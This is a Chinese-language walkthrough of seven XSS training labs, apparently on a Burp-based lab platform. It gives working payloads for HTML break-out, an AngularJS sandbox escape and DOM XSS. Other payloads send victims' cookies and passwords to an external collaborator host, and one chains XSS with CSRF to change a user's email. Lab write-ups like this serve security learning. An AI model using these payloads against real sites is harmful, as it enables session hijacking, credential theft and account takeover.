30连环靶场XSS跨站脚本攻击—进阶篇1
一号靶场
题目没有太多信息,提示页面document.write函数可利用
进入查看
查看源码后,发现document.write函数可利用
有个storeId参数,尝试URL传参,发现数据被加入到option和select中,发现注入点
构造payload
</option></select><img src=x onerror=alert(1) >
二号靶场
题目中可知利用AngularJS库,得先补充一波AngularJS的基础知识,类似于Vue的双向绑定的感觉…
得到的信息是{{…js…}} 在这个格式下执行JS,但是直接构造{{alert(1)}} 和 {{-alert(1)-}} 都不行,再去查资料,发现 o n . c o n s t r u c t o r ( . . . ) 函数, on.constructor(...)函数, on.constructor(...)函数,on 是事件对象,调用构造方法constructor()函数,传参js会出js效果,尝试构造payload:
{{$on.constructor('alert(1)')()}}
三号靶场
题目可知,反射DOM漏洞,想办法触发alert即可
主页搜索随意字符串后,没发现任何注入点,但源码中引入了这个js文件,查看一番
发现js文件中动态创建了DOM h1标签,并且里面的数据是js给进去的。
尝试了几波payload都未果,无法在这里内部注入,突然发现上面有个ajax发出的请求
跑去请求看了下,发现有个json
是它没错了! 发现注入点
构造payload:
\"-alert(1)}//
四号靶场
题目可知,存储型DOM漏洞,进入靶场
页面有个留言板,留言测试了下,会回显到页面上,源码如图,尝试闭合测试
经测试,发现<> 尖括号被转义了,发现注入点,尝试绕过
<><img src=x onerror=alert(1)>
五号靶场
题目要求盗取用户cookie,提示写明:要使用防火墙阻止,要使用服务器,发送脚本到页面上,受害者登录后触发后台直接发送受害者cookie
Burp-suite中开启一个外部服务器,构造payload:
<script>
fetch('https://nxopi4s3141h1a9ahgxpwh3pcgi66v.oastify.com',{
method:'POST',
mode:'no-cors',
body:document.cookie
});
</script>
将payload留言提交,Burp中拉取一下,就能收到受害者发送来的请求包,点开HTTP请求,获取到受害者cookie
O3WPu4ezbYDzs9BVtQ4EWnCx4OWfBuS1
然后用插件将自己的cookie替换为受害者的cookie,直接伪装登录
六号靶场
和上一个靶场有点像,通过外部服务器,来获取受害者用户名密码,伪装登录
进入靶场
使用上一个方法,没有拿到cookie,换一下思路
构造payload:
<input name="username" id="username" type="text">
<input name="password" type="password" onchange="if(this.value.length)fetch('https://dzgwvk3kxpnqyr4d50eg36vd64cu0j.oastify.com/',{
method:'POST',
mode:'no-cors',
body:username.value+'===='+this.value
});">
七号靶场
通关要求修改用户的邮箱,CSRF 跨站伪造攻击,通过用户的错误点击,来达到攻击效果
(老子Steam账号的邮箱,appleID 邮箱 都他喵被盗过),账号已经给出
简单来说,别乱点,就不会中招!
登录账号,看到修改邮箱页面,随便输入一个邮箱,修改,抓包看到请求有csrf token信息
源码中可以看到提交表单的请求地址 /my-account/change-email
那么我们需要在留言板注入一段脚本,使受害者在进入个人页面后,获取到csrf token,然后自动发送一个请求到change-email从而修改掉受害者邮箱
构造payload:
<script>
//创建异步请求对象
var req = new XMLHttpRequest();
//当请求完成时触发保存返回报文
req.onload = handleResponse;
//创造请求
req.open('get','/my-account',true);
//发送请求
req.send();
function handleResponse() {
//获取token 正则
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
//再定义一个隐式请求
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
//修改邮箱
changeReq.send('csrf='+token+'&email=laoding@qq.com')
};
</script>
XSS联动CSRF,算是 混伤了~ =。= ||| 多多少少 底层都在偷偷发请求